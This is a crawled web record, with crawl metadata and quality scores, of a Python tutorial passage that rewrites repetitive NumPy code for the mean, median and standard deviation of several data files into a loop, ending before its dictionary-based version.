"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c4e244ee-009a-4918-82ef-f2c57c4c4418>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-155-170-72.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-43\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for October 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
14,
22,
23,
31,
32,
41,
42,
51,
52,
61,
62,
71,
72,
81,
82,
91,
92,
101,
102,
111,
112,
121,
122,
131,
132,
141,
142,
151,
152,
161,
162,
171,
172,
181,
182,
191,
192,
201,
202,
211,
212,
221,
222,
231,
232,
241,
242,
251,
252,
261,
262,
271,
272,
281,
282,
291,
292,
301,
302,
311,
312,
321,
322,
331,
332,
341,
342,
351,
352,
361,
362,
371,
372,
381,
382,
391,
392,
401,
402,
411,
412,
421,
422,
431,
432,
441,
442,
451,
452,
461,
462,
471,
472,
481,
482,
491,
492,
501,
502,
511,
512,
521,
522,
531,
532,
541,
542,
551,
552,
561,
562,
571,
572,
581,
582,
591,
592,
601,
602,
611,
612,
621,
622,
631,
632,
641,
642,
651,
652,
661,
662,
671,
672,
681,
682,
691,
692,
701,
702,
711,
712,
721,
722,
731,
732,
845,
846,
855,
856,
865,
866,
977,
978,
987,
988,
997,
998,
1007,
1008,
1017,
1018,
1027,
1028,
1037,
1038,
1047,
1048,
1057,
1058,
1167,
1168,
1177,
1178,
1179,
1180,
1181,
1182,
1191,
1192,
1201,
1202,
1208,
1209,
1210,
1211,
1212,
1213,
1214,
1215,
1328,
1329,
1384,
1385,
1443,
1444,
1503,
1504,
1565,
1566,
1626,
1627,
1628,
1629,
1630,
1631,
1632,
1633,
1634,
1635,
1636,
1637,
1638,
1639,
1640,
1641,
1642,
1643,
1644,
1645,
1646,
1647,
1648,
1649,
1650,
1651,
1652,
1653,
1654,
1655,
1656,
1715,
1716,
1776,
1777,
1836,
1837,
1896,
1897,
2010,
2011,
2012,
2072,
2073,
2132,
2133,
2192,
2193,
2253,
2254,
2316,
2317,
2378,
2379,
2444,
2445,
2510,
2511,
2574,
2575,
2639,
2640,
2704,
2705,
2768,
2769,
2826,
2827,
2884,
2885,
2942,
2943,
3000,
3001,
3057,
3058,
3115,
3116,
3173,
3174,
3231,
3232,
3289,
3290,
3347,
3348,
3405,
3406,
3463,
3464,
3521,
3522,
3578,
3579,
3635,
3636,
3692,
3693,
3749,
3750,
3806,
3807,
3863,
3864,
3920,
3921,
3922,
3923,
3924,
3925,
3926,
3927,
3928,
3929,
3930,
3931,
3932,
3933,
3934,
3935,
3936,
3937,
3938,
3939,
3940,
3941,
3942,
3943,
3944,
3945,
3946,
3947,
3948,
3949,
3950,
3951,
3952,
3953,
3954,
3955,
3956,
3957,
3958,
3959,
3960,
3961,
3962,
3963,
3964,
3965,
3966,
3967,
3968,
4004,
4005,
4006,
4007,
4008,
4009,
4010,
4011,
4012,
4013,
4014,
4015,
4016,
4017,
4043,
4044,
4045,
4046,
4047,
4048,
4049,
4050,
4051,
4052,
4053,
4054,
4055,
4056,
4057,
4058,
4059,
4060,
4061,
4062,
4063,
4064,
4065,
4066,
4067,
4068,
4069,
4070,
4071,
4072,
4073,
4074,
4075,
4076,
4077,
4078,
4079,
4080,
4081,
4082,
4083,
4084,
4085,
4086,
4087,
4088,
4121,
4122,
4146,
4151,
4202,
4211,
4212,
4357,
4358,
4359,
4433,
4434,
4475,
4476,
4477,
4478,
4479,
4526,
4571,
4910,
4911,
4949,
4973,
4997,
5005,
5006,
5039,
5040,
5089,
5151,
5152,
5190,
5207,
5224,
5232,
5233,
5265,
5266,
5267,
5268,
5269,
5307,
5326,
5345,
5353,
5354,
5382,
5383,
5421,
5436,
5451,
5459,
5460,
5512,
5513,
5529,
5554,
5555,
5565,
5566,
5604,
5622,
5640,
5648,
5649,
5776,
5777,
5815,
5832,
5849,
5857,
5858,
5874,
5875,
5913,
5925,
5937,
5945,
5946,
6070,
6071,
6109,
6118,
6127,
6135,
6136,
6172,
6173,
6174,
6175,
6216,
6227,
6239,
6240
],
"line_end_idx": [
13,
14,
22,
23,
31,
32,
41,
42,
51,
52,
61,
62,
71,
72,
81,
82,
91,
92,
101,
102,
111,
112,
121,
122,
131,
132,
141,
142,
151,
152,
161,
162,
171,
172,
181,
182,
191,
192,
201,
202,
211,
212,
221,
222,
231,
232,
241,
242,
251,
252,
261,
262,
271,
272,
281,
282,
291,
292,
301,
302,
311,
312,
321,
322,
331,
332,
341,
342,
351,
352,
361,
362,
371,
372,
381,
382,
391,
392,
401,
402,
411,
412,
421,
422,
431,
432,
441,
442,
451,
452,
461,
462,
471,
472,
481,
482,
491,
492,
501,
502,
511,
512,
521,
522,
531,
532,
541,
542,
551,
552,
561,
562,
571,
572,
581,
582,
591,
592,
601,
602,
611,
612,
621,
622,
631,
632,
641,
642,
651,
652,
661,
662,
671,
672,
681,
682,
691,
692,
701,
702,
711,
712,
721,
722,
731,
732,
845,
846,
855,
856,
865,
866,
977,
978,
987,
988,
997,
998,
1007,
1008,
1017,
1018,
1027,
1028,
1037,
1038,
1047,
1048,
1057,
1058,
1167,
1168,
1177,
1178,
1179,
1180,
1181,
1182,
1191,
1192,
1201,
1202,
1208,
1209,
1210,
1211,
1212,
1213,
1214,
1215,
1328,
1329,
1384,
1385,
1443,
1444,
1503,
1504,
1565,
1566,
1626,
1627,
1628,
1629,
1630,
1631,
1632,
1633,
1634,
1635,
1636,
1637,
1638,
1639,
1640,
1641,
1642,
1643,
1644,
1645,
1646,
1647,
1648,
1649,
1650,
1651,
1652,
1653,
1654,
1655,
1656,
1715,
1716,
1776,
1777,
1836,
1837,
1896,
1897,
2010,
2011,
2012,
2072,
2073,
2132,
2133,
2192,
2193,
2253,
2254,
2316,
2317,
2378,
2379,
2444,
2445,
2510,
2511,
2574,
2575,
2639,
2640,
2704,
2705,
2768,
2769,
2826,
2827,
2884,
2885,
2942,
2943,
3000,
3001,
3057,
3058,
3115,
3116,
3173,
3174,
3231,
3232,
3289,
3290,
3347,
3348,
3405,
3406,
3463,
3464,
3521,
3522,
3578,
3579,
3635,
3636,
3692,
3693,
3749,
3750,
3806,
3807,
3863,
3864,
3920,
3921,
3922,
3923,
3924,
3925,
3926,
3927,
3928,
3929,
3930,
3931,
3932,
3933,
3934,
3935,
3936,
3937,
3938,
3939,
3940,
3941,
3942,
3943,
3944,
3945,
3946,
3947,
3948,
3949,
3950,
3951,
3952,
3953,
3954,
3955,
3956,
3957,
3958,
3959,
3960,
3961,
3962,
3963,
3964,
3965,
3966,
3967,
3968,
4004,
4005,
4006,
4007,
4008,
4009,
4010,
4011,
4012,
4013,
4014,
4015,
4016,
4017,
4043,
4044,
4045,
4046,
4047,
4048,
4049,
4050,
4051,
4052,
4053,
4054,
4055,
4056,
4057,
4058,
4059,
4060,
4061,
4062,
4063,
4064,
4065,
4066,
4067,
4068,
4069,
4070,
4071,
4072,
4073,
4074,
4075,
4076,
4077,
4078,
4079,
4080,
4081,
4082,
4083,
4084,
4085,
4086,
4087,
4088,
4121,
4122,
4146,
4151,
4202,
4211,
4212,
4357,
4358,
4359,
4433,
4434,
4475,
4476,
4477,
4478,
4479,
4526,
4571,
4910,
4911,
4949,
4973,
4997,
5005,
5006,
5039,
5040,
5089,
5151,
5152,
5190,
5207,
5224,
5232,
5233,
5265,
5266,
5267,
5268,
5269,
5307,
5326,
5345,
5353,
5354,
5382,
5383,
5421,
5436,
5451,
5459,
5460,
5512,
5513,
5529,
5554,
5555,
5565,
5566,
5604,
5622,
5640,
5648,
5649,
5776,
5777,
5815,
5832,
5849,
5857,
5858,
5874,
5875,
5913,
5925,
5937,
5945,
5946,
6070,
6071,
6109,
6118,
6127,
6135,
6136,
6172,
6173,
6174,
6175,
6216,
6227,
6239,
6240,
6309
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6309,
"ccnet_original_nlines": 507,
"rps_doc_curly_bracket": 0.0003170100098941475,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.05681817978620529,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.026913879439234734,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.485047847032547,
"rps_doc_frac_unique_words": 0.4676007032394409,
"rps_doc_mean_word_length": 8.281961441040039,
"rps_doc_num_sentences": 161,
"rps_doc_symbol_to_word_ratio": 0.0005980900023132563,
"rps_doc_unigram_entropy": 4.583199977874756,
"rps_doc_word_count": 571,
"rps_doc_frac_chars_dupe_10grams": 0.14315922558307648,
"rps_doc_frac_chars_dupe_5grams": 0.16155634820461273,
"rps_doc_frac_chars_dupe_6grams": 0.16155634820461273,
"rps_doc_frac_chars_dupe_7grams": 0.1564812958240509,
"rps_doc_frac_chars_dupe_8grams": 0.15204060077667236,
"rps_doc_frac_chars_dupe_9grams": 0.15204060077667236,
"rps_doc_frac_chars_top_2gram": 0.12285895645618439,
"rps_doc_frac_chars_top_3gram": 0.16705435514450073,
"rps_doc_frac_chars_top_4gram": 0.2338760793209076,
"rps_doc_books_importance": -1023.3541870117188,
"rps_doc_books_importance_length_correction": -1023.3541870117188,
"rps_doc_openwebtext_importance": -611.6790771484375,
"rps_doc_openwebtext_importance_length_correction": -611.6790771484375,
"rps_doc_wikipedia_importance": -409.2122802734375,
"rps_doc_wikipedia_importance_length_correction": -409.2122802734375
},
"fasttext": {
"dclm": 0.16489779949188232,
"english": 0.009230529889464378,
"fineweb_edu_approx": 0.9497249126434326,
"eai_general_math": 0.00016968999989330769,
"eai_open_web_math": 0.41093236207962036,
"eai_web_code": 0.4479754567146301
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "5",
"label": "Social/Forum"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "5",
"label": "Comment Section"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "2",
"label": "Partially Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-71,389,457,180,254,040 |
User Tools
Site Tools
scrollpane
ScrollPane
The ScrollPane element scrolls the text or image and allows the user to change the scrollbar location and set the path of image through the imageUrl attribute.
Characteristic
Definition
Type Interactive Display Object
Category Element
Scope Local
Position *
Parents Container
Children none
Gestures Drag and touchevents
Requirements none
Attribute
Type
Description
background_H object reference sets the horizontal background object
background_V object reference sets the vertical background object
bgColor number sets color of horizontal background
bgEllipseHeight number sets the ellipse height of horizontal background
bgEllipseWidth number sets the ellipse width of horizontal background
bgHeight number sets the height of horizontal background
bgLineStroke number sets the line stroke of horizontal background
bgOutlineColor number sets the outline color of horizontal background
bgWidth number sets the width of horizontal background
bgX number sets the X position of horizontal background
bgY number sets the Y position of vertical background
horizontal true/false flag for horizontal background
imageUrl text sets the image path
scrollbar_H object reference sets the horizontal scrollbar object
scrollbar_V object reference sets the vertical scrollbar object
scrollBarColor number sets the color of horizontal scrollbar
scrollbarWidth number sets the horizontal scrollbar width
scrollbarX number sets the X position of horizontal scrollbar
scrollbarY number sets the y position of horizontal scrollbar
scrollbarEllipseHeight number sets the ellipse height of horizontal scrollbar
scrollbarEllipseWidth number sets the ellipse of horizontal scrollbar
square object reference sets the square object
squareColor number sets the color of square
squareHeight number sets the height of square
squareWidth number sets the width of square
squareOutlineColor number sets the outline color of square
squareLineStroke number sets the line stroke of square
vertical true/false flag for vertical background
vBgHeight number sets the height of vertical background
vBgWidth number sets the width of vertical background
vBgX number sets the X position of vertical background
vBgY number sets the Y position of vertical background
vScrollbarWidth number sets the width of vertical scrollbar
vScrollbarHeight number sets the height of vertical background
vScrollbarX number sets the X position of vertical scrollbar
vScrollbarY number sets the Y position of vertical scrollbar
See Also: Display Attributes
<ScrollPane id="sp1" imageUrl="library/assets/demos/800px-Bi-crystal.jpg" horizontal="true" vertical="true" x="500" y="0" squareWidth="500" squareHeight="500" squareLineStroke="3" squareOutlineColor="0xCCCCCC" squareColor="0x909090" bgOutlineColor="0x383838" bgColor="0x383838" bgLineStroke="3" bgX="0" bgY="505" bgWidth="500" bgHeight="15" bgEllipseWidth="20" bgEllipseHeight="30" verticalBgOutlineColor="0x383838" verticalBgColor="0x383838" verticalBgLineStroke="3" vBgX="505" vBgY="0" vBgWidth="15" vBgHeight="500" vBgEllipseWidth="30" vBgEllipseHeight="20" scrollBarColor="0x4E387E" scrollBarOutlineColor="0x4E387E" scrollBarLineStroke="3" scrollbarX="0" scrollbarY="505" scrollbarWidth="100" scrollbarHeight="15" scrollbarEllipseWidth="20" scrollbarEllipseHeight="30" verticalScrollBarColor="0x4E387E" verticalScrollBarOutlineColor="0x4E387E" verticalScrollbarLineStroke="3" vScrollbarX="505" vScrollbarY="0" vScrollbarWidth="15" vScrollbarHeight="100" vScrollbarEllipseWidth="30" vScrollbarEllipseHeight="20"/>
scrollpane.txt · Last modified: 2015/09/18 16:59 by glass
|
{
"url": "http://www.creativeml.org/doku.php/scrollpane",
"source_domain": "www.creativeml.org",
"snapshot_id": "crawl=CC-MAIN-2018-09",
"warc_metadata": {
"Content-Length": "33302",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:YXFF5PYYHIIL56FBSSJ2KDCC4FAKRZSS",
"WARC-Concurrent-To": "<urn:uuid:7df17624-5292-4a8a-a1ab-844888bfc615>",
"WARC-Date": "2018-02-26T01:22:43Z",
"WARC-IP-Address": "54.203.255.211",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:FCZGRBP6AGZBRRX2W5BVO3SNJDRS7WPX",
"WARC-Record-ID": "<urn:uuid:529364d2-7b91-405a-ac4b-d396c0345858>",
"WARC-Target-URI": "http://www.creativeml.org/doku.php/scrollpane",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4234a5ad-1e9c-4b85-a77a-7556776d9c1a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-141-213-112.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-09\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for February 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
11,
12,
23,
24,
25,
36,
37,
48,
49,
209,
210,
211,
226,
227,
238,
270,
287,
299,
310,
328,
342,
372,
390,
391,
401,
402,
407,
408,
420,
488,
554,
605,
677,
747,
804,
870,
940,
995,
1051,
1105,
1158,
1192,
1258,
1322,
1383,
1441,
1503,
1565,
1643,
1713,
1760,
1804,
1850,
1894,
1953,
2008,
2057,
2113,
2167,
2222,
2277,
2337,
2400,
2461,
2522,
2523,
2552,
2553,
3570
],
"line_end_idx": [
11,
12,
23,
24,
25,
36,
37,
48,
49,
209,
210,
211,
226,
227,
238,
270,
287,
299,
310,
328,
342,
372,
390,
391,
401,
402,
407,
408,
420,
488,
554,
605,
677,
747,
804,
870,
940,
995,
1051,
1105,
1158,
1192,
1258,
1322,
1383,
1441,
1503,
1565,
1643,
1713,
1760,
1804,
1850,
1894,
1953,
2008,
2057,
2113,
2167,
2222,
2277,
2337,
2400,
2461,
2522,
2523,
2552,
2553,
3570,
3627
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 3627,
"ccnet_original_nlines": 69,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.140625,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0121527798473835,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2604166567325592,
"rps_doc_frac_unique_words": 0.3694581389427185,
"rps_doc_mean_word_length": 7.497537136077881,
"rps_doc_num_sentences": 4,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.122321128845215,
"rps_doc_word_count": 406,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.273324579000473,
"rps_doc_frac_chars_dupe_6grams": 0.19250985980033875,
"rps_doc_frac_chars_dupe_7grams": 0.13206307590007782,
"rps_doc_frac_chars_dupe_8grams": 0.027595270425081253,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.07588698714971542,
"rps_doc_frac_chars_top_3gram": 0.11530879884958267,
"rps_doc_frac_chars_top_4gram": 0.03613666072487831,
"rps_doc_books_importance": -242.0154266357422,
"rps_doc_books_importance_length_correction": -242.0154266357422,
"rps_doc_openwebtext_importance": -126.65005493164062,
"rps_doc_openwebtext_importance_length_correction": -126.65005493164062,
"rps_doc_wikipedia_importance": -111.44560241699219,
"rps_doc_wikipedia_importance_length_correction": -111.44560241699219
},
"fasttext": {
"dclm": 0.806523323059082,
"english": 0.5217038989067078,
"fineweb_edu_approx": 3.4442925453186035,
"eai_general_math": 0.9583321809768677,
"eai_open_web_math": 0.9174872636795044,
"eai_web_code": 0.559514045715332
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "-1",
"labels": {
"level_1": "",
"level_2": "",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-6,470,251,239,062,892,000 |
Agile Zone is brought to you in partnership with:
Lorna Jane Mitchell is a PHP developer, blogger, trainer and evangelist from Leeds in the UK. She is active with phpwomen.org and her local user group PHP North West, and writes for a variety of outlets, including her own blog at lornajane.net. She is an active member of the PHP and open source communities and contributes to the joind.in event feedback project. When she's not at her computer, Lorna enjoys yarn craft, hobby electronics, and her home renovation project. Lorna is a DZone MVB and is not an employee of DZone and has posted 77 posts at DZone. You can read more from them at their website. View Full User Profile
Github API: Issues List
01.10.2011
| 5959 views |
• submit to reddit
I'm deeply involved with an open source development project (joind.in, the event feedback site) and we recently made the decision to move our issue tracking away from GitHub (because it's awful and meets none of the requirements for a bug tracker, but that's a post for another day). In order to make this happen more smoothly, we wanted to migrate our open issues from github (to JIRA Studio, since Atlassian generously provides accounts here for worthy open source projects - thanks Atlassian!).
I looked around for some export functionality for github but I got a lot of posts complaining it wasn't there. Since I hate applications that take your data and refuse to let you remove it, I was disappointed by this news but further inspection showed that although there might be no "export from github" button, there's an API that more than has it covered. The API returns JSON which is easy to work with from many programming languages, and is perhaps even more powerful and flexible than the simple export I initially expected, so here are some examples.
(as a total aside, why isn't there a thing to turn JSON into human-usable tabular form or similar? I just assumed there would be and googled for one but didn't find it. Suggestions welcome, add a comment!)
I decided we only needed our currently open issues, and these were simple to retrieve: http://github.com/api/v2/json/issues/list/joindin/joind.in/open. Since I'm a PHP programmer, I just did this:
$data = json_decode(file_get_contents('http://github.com/api/v2/json/issues/list/joindin/joind.in/open'));
Each of the entries has a comments count too, so for those issues showing a comment count > 1 I grabbed those as well, using http://github.com/api/v2/json/issues/comments/joindin/joind.in/<issue number>
I'll write a post about how we formatted the JIRA import once that has actually been done and shown to work - for now, if you want to get your data out of github, I hope this helps!
References
Published at DZone with permission of Lorna Mitchell, author and DZone MVB. (source)
(Note: Opinions expressed in this article and its replies are the opinions of their respective authors and not those of DZone, Inc.)
|
{
"url": "http://dotnet.dzone.com/news/github-api-issues-list?mz=123873-agile",
"source_domain": "dotnet.dzone.com",
"snapshot_id": "crawl=CC-MAIN-2014-23",
"warc_metadata": {
"Content-Length": "64818",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:I7AV5QGX74TFVCEQEJV4OZCY3OMWKXVC",
"WARC-Concurrent-To": "<urn:uuid:74f09c54-d64d-4993-938c-f590a923bba1>",
"WARC-Date": "2014-08-01T03:47:55Z",
"WARC-IP-Address": "208.91.135.41",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:NVQSAMDD2CPXWJFV6YZYRSA64CPSDSLE",
"WARC-Record-ID": "<urn:uuid:438004b5-7caf-4f7c-8989-a44cbcbd585f>",
"WARC-Target-URI": "http://dotnet.dzone.com/news/github-api-issues-list?mz=123873-agile",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:836cb8e7-7d33-470d-8395-da968303a2e4>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-146-231-18.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2014-23\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for July 2014\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
50,
51,
680,
681,
705,
706,
717,
732,
753,
1251,
1252,
1811,
1812,
2018,
2019,
2216,
2217,
2324,
2326,
2529,
2530,
2712,
2723,
2808,
2809
],
"line_end_idx": [
50,
51,
680,
681,
705,
706,
717,
732,
753,
1251,
1252,
1811,
1812,
2018,
2019,
2216,
2217,
2324,
2326,
2529,
2530,
2712,
2723,
2808,
2809,
2941
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2941,
"ccnet_original_nlines": 25,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.3819875717163086,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.041925471276044846,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19565217196941376,
"rps_doc_frac_unique_words": 0.562367856502533,
"rps_doc_mean_word_length": 4.887949466705322,
"rps_doc_num_sentences": 30,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.2139668464660645,
"rps_doc_word_count": 473,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.006487890146672726,
"rps_doc_frac_chars_top_3gram": 0,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -287.7591857910156,
"rps_doc_books_importance_length_correction": -287.7591857910156,
"rps_doc_openwebtext_importance": -137.7289276123047,
"rps_doc_openwebtext_importance_length_correction": -137.7289276123047,
"rps_doc_wikipedia_importance": -92.64289093017578,
"rps_doc_wikipedia_importance_length_correction": -92.64289093017578
},
"fasttext": {
"dclm": 0.021195530891418457,
"english": 0.9557202458381653,
"fineweb_edu_approx": 1.0607175827026367,
"eai_general_math": 0.17716556787490845,
"eai_open_web_math": 0.15464216470718384,
"eai_web_code": 0.020460959523916245
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.758",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "16",
"label": "Personal Blog"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,033,758,517,664,994,000 |
Making Data Analysis Simpler With Dictionaries
While long-time Python users have a good sense of the usefulness of dictionaries, explaining why dictionaries are so useful is not so straightforward. Particularly to atmospheric and oceanic sciences (AOS) users, who generally are not that interested in the relative merits of various data structures, and whose main working language is Fortran, it can be difficult to describe what a dictionary buys you. In this article, I will give one example of how using dictionaries can make a data analysis routine simpler, more robust, and extendable.
Let’s say we have the following data analysis problem:
• You have three data files named data0.txt, data1.txt, and data2.txt. Each data file contains a collection of values on which you will make some calculations. We assume that the function readdata (defined earlier in the program) will return a 1-D NumPy array of the data in the file.
• For each of the data arrays, you want to calculate the mean, median, and standard deviation. These values may be used later on in the program.
A (traditional) Fortran programmer, if asked to write a program, in Python, to do the above, might write something like this:
import numpy
data0 = readdata('data0.txt')
data1 = readdata('data1.txt')
data2 = readdata('data2.txt')
mean0 = numpy.mean(data0)
median0 = numpy.median(data0)
stddev0 = numpy.std(data0)
mean1 = numpy.mean(data1)
median1 = numpy.median(data1)
stddev1 = numpy.std(data1)
mean2 = numpy.mean(data2)
median2 = numpy.median(data2)
stddev2 = numpy.std(data2)
Very simple and straightforward, and if you have only three files on whose data you only want to calculate three metrics, this is probably the fastest way to code it. But what if you have more files? The code, very quickly, becomes unmanageable and prone to catastrophe-by-typo.
So how to make the code better? Because we see that for each data file, we are calculating the same functions, one approach is to put the mean, median, and standard deviation into arrays, each element of which is the calculated value corresponding to the data file with that element address. We then use a for loop to go through each file, reading in the data, and making the calculations. We make use of Python’s string operators to construct the correct data filename at each iteration of the loop. Thus, we would have:
import numpy
mean = numpy.zeros(3)
median = numpy.zeros(3)
stddev = numpy.zeros(3)
for i in range(3):
filename = 'data' + str(i) + '.txt'
data = readdata(filename)
mean[i] = numpy.mean(data)
median[i] = numpy.median(data)
stddev[i] = numpy.std(data)
This version is shorter and more easily extensible. If there are 1000 files, you just need to change the for loop iterable from range(3) to range(1000) and redeclare the mean, median, and stddev. arrays to be 1000 elements long.
But there are still at least two things I’m unsatisfied with. First, why should I need to redeclare anything at all? Python is an interpreted language; can’t it handle sizing on the fly? Second, storing calculated values in an array makes sense when the filenames differ from each other by characters that correspond to array index addresses, but most of the time, filenames can be anything. Wouldn’t it be clearer if the values of the mean, median, and standard deviation for each file were stored in structures that were indexed by the names of the files? After all, filenames do not necessarily have an order to them, and the indexing system for parameters related to those files (i.e., mean, median, and stddev) also do not need to be ordered.
